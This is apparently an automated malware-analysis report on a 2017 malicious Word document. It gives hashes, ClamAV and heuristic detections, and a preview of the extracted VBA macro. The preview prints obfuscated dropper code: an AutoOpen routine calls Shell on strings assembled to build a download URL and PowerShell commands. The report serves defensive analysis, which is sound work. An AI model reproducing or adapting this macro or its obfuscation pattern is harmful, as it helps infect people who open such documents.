Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fdd6288747eb976a…

MALICIOUS

Office (OLE)

149.5 KB Created: 2017-12-18 09:34:00 Authoring application: Microsoft Office Word First seen: 2017-12-24
MD5: 5f6a2aa70a80a09d358c35f0fc1b0b95 SHA-1: 6006d2283072d4e806bc3ff5ee888c05610a8c01 SHA-256: fdd6288747eb976a863966935b7800b1ed839ded3fe15dfa039a2c6f68b940b5
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is identified as malicious by ClamAV with the signature Img.Dropper.PhishingLure-6443153-0. Static analysis revealed a VBA macro with an AutoOpen function that utilizes the Shell() function, a common technique for executing arbitrary commands. This strongly suggests the macro is designed to download and execute a secondary payload, characteristic of a dropper or downloader malware.

Heuristics 7

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 67736 bytes
SHA-256: 83d6ab18b621336c69a31c0e31f3b11f812b714deaa702e30e49539e253578dc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "OnWUPzGiPz"
Sub AutoOpen()
On Error Resume Next
VOCnXsrcL = 9 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(7))) + 8 + ChrB(14 + Atn(8 / ChrW(5) + 4320 + Log(97)) - 9 / 12) - (13 - CBool(881 - 9) * TMfXJir + Cos(10))
djPoCzMlo = 14 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(13))) + 13 + ChrB(13 + Atn(14 / ChrW(5) + 4320 + Log(97)) - 12 / 14) - (14 - CBool(881 - 11) * TMfXJir + Cos(7))
wiTTnDjoO = 10 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(13))) + 9 + ChrB(8 + Atn(13 / ChrW(5) + 4320 + Log(97)) - 11 / 9) - (10 - CBool(881 - 7) * TMfXJir + Cos(11))
znLGCiTZK = 8 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(9))) + 8 + ChrB(9 + Atn(8 / ChrW(5) + 4320 + Log(97)) - 13 / 9) - (12 - CBool(881 - 8) * TMfXJir + Cos(9))
ckWKzRwfh = 7 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(9))) + 11 + ChrB(8 + Atn(13 / ChrW(5) + 4320 + Log(97)) - 10 / 11) - (9 - CBool(881 - 12) * TMfXJir + Cos(11))
VBA.Shell$ iphSIiNfaNjTt, 0
QoUiVcwJY = 8 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(10))) + 10 + ChrB(13 + Atn(7 / ChrW(5) + 4320 + Log(97)) - 8 / 11) - (13 - CBool(881 - 11) * TMfXJir + Cos(11))
NpGwlUwjI = 9 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(14))) + 12 + ChrB(11 + Atn(11 / ChrW(5) + 4320 + Log(97)) - 8 / 13) - (10 - CBool(881 - 8) * TMfXJir + Cos(7))
AhBHXWMhX = 10 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(7))) + 9 + ChrB(11 + Atn(14 / ChrW(5) + 4320 + Log(97)) - 12 / 10) - (12 - CBool(881 - 8) * TMfXJir + Cos(13))
iKZvnqabr = 13 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(12))) + 8 + ChrB(12 + Atn(10 / ChrW(5) + 4320 + Log(97)) - 12 / 11) - (14 - CBool(881 - 8) * TMfXJir + Cos(12))
jcYmZHIET = 12 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(13))) + 8 + ChrB(10 + Atn(12 / ChrW(5) + 4320 + Log(97)) - 12 / 10) - (14 - CBool(881 - 11) * TMfXJir + Cos(12))
End Sub
Function iphSIiNfaNjTt()
On Error Resume Next
iodEzLQ = 11 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(12))) + 13 + ChrB(12 + Atn(13 / ChrW(5) + 4320 + Log(97)) - 8 / 11) - (12 - CBool(881 - 10) * TMfXJir + Cos(10))
QlPRH = 11 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(8))) + 7 + ChrB(10 + Atn(8 / ChrW(5) + 4320 + Log(97)) - 10 / 8) - (9 - CBool(881 - 7) * TMfXJir + Cos(9))
LQjdFQhEO = Mid("BSaukrg2021k9B+k9Bi4T+i4T.wek9B'+'+k9Bbadmini4T+i4T8.nek9i4T+i4TB+k9'+'Bt/wpk9B+k9B-i4T+i4Tcok9B+k9Bntent/t'+'hek9BrDSit", 6, 110)
dBdIQic = 11 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(14))) + 8 + ChrB(13 + Atn(10 / ChrW(5) + 4320 + Log(97)) - 8 / 13) - (10 - CBool(881 - 8) * TMfXJir + Cos(11))
rhAUMnf = 13 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(12))) + 13 + ChrB(7 + Atn(8 / ChrW(5) + 4320 + Log(97)) - 12 / 9) - (11 - CBool(881 - 7) * TMfXJir + Cos(10))
NVzTOcVdW = 7 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(7))) + 8 + ChrB(7 + Atn(11 / ChrW(5) + 4320 + Log(97)) - 10 / 12) - (7 - CBool(881 - 14) * TMfXJir + Cos(9))
UXiBTISI = Mid("HcITIrJQP0OZG4ENFjSYZVjablsMpICi4T9B+k9Bas);k9B+k9BInvoke-k9B+k9BItem(k9B+k9Br'+'ONhuas)k9B+k9B;k9i4T+i4TB+k9Bbreak9B+k9Bk;}catch{i4T+i4'+'TcrO", 32, 109)
cUHkUDm = 13 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(10))) + 14 + ChrB(14 + Atn(14 / ChrW(5) + 4320 + Log(97)) - 11 / 7) - (9 - CBool(881 - 14) * TMfXJir + Cos(14))
QJmFCzniR = 11 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(11))) + 12 + ChrB(8 + Atn(12 / ChrW(5) + 4320 + Log(97)) - 13 / 8) - (7 - CBool(881 - 12) * TMfXJir + Cos(12))
RNjwHJ = 12 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(12))) + 8 + ChrB(10 + Atn(8 / ChrW(5) + 4320 + Log(97)) - 10 / 10) - (13 - CBool(881 - 8) * TMfXJir + Cos(10))
vqfEdabPIV = Mid("QivDZY0ZhfvR9BONbcd){k9B+faRK5u9", 13, 13)
RDZwtQbz = 14 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(8))) + 10 + ChrB(12 + Atn(13 / ChrW(5) + 4320 + Log(97)) - 12 / 7) - (9 - CBool(881 - 7) * TMfXJir + Cos(14))
acWtnq = 9 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(10))) + 10 + ChrB(12 + Atn(14 / ChrW(5) + 4320 + Log(97)) - 8 / 12) - (13 - CBool(881 - 9) * TMfXJir + Cos(7))
lMFhti = 9 * Tan(2487
... (truncated)

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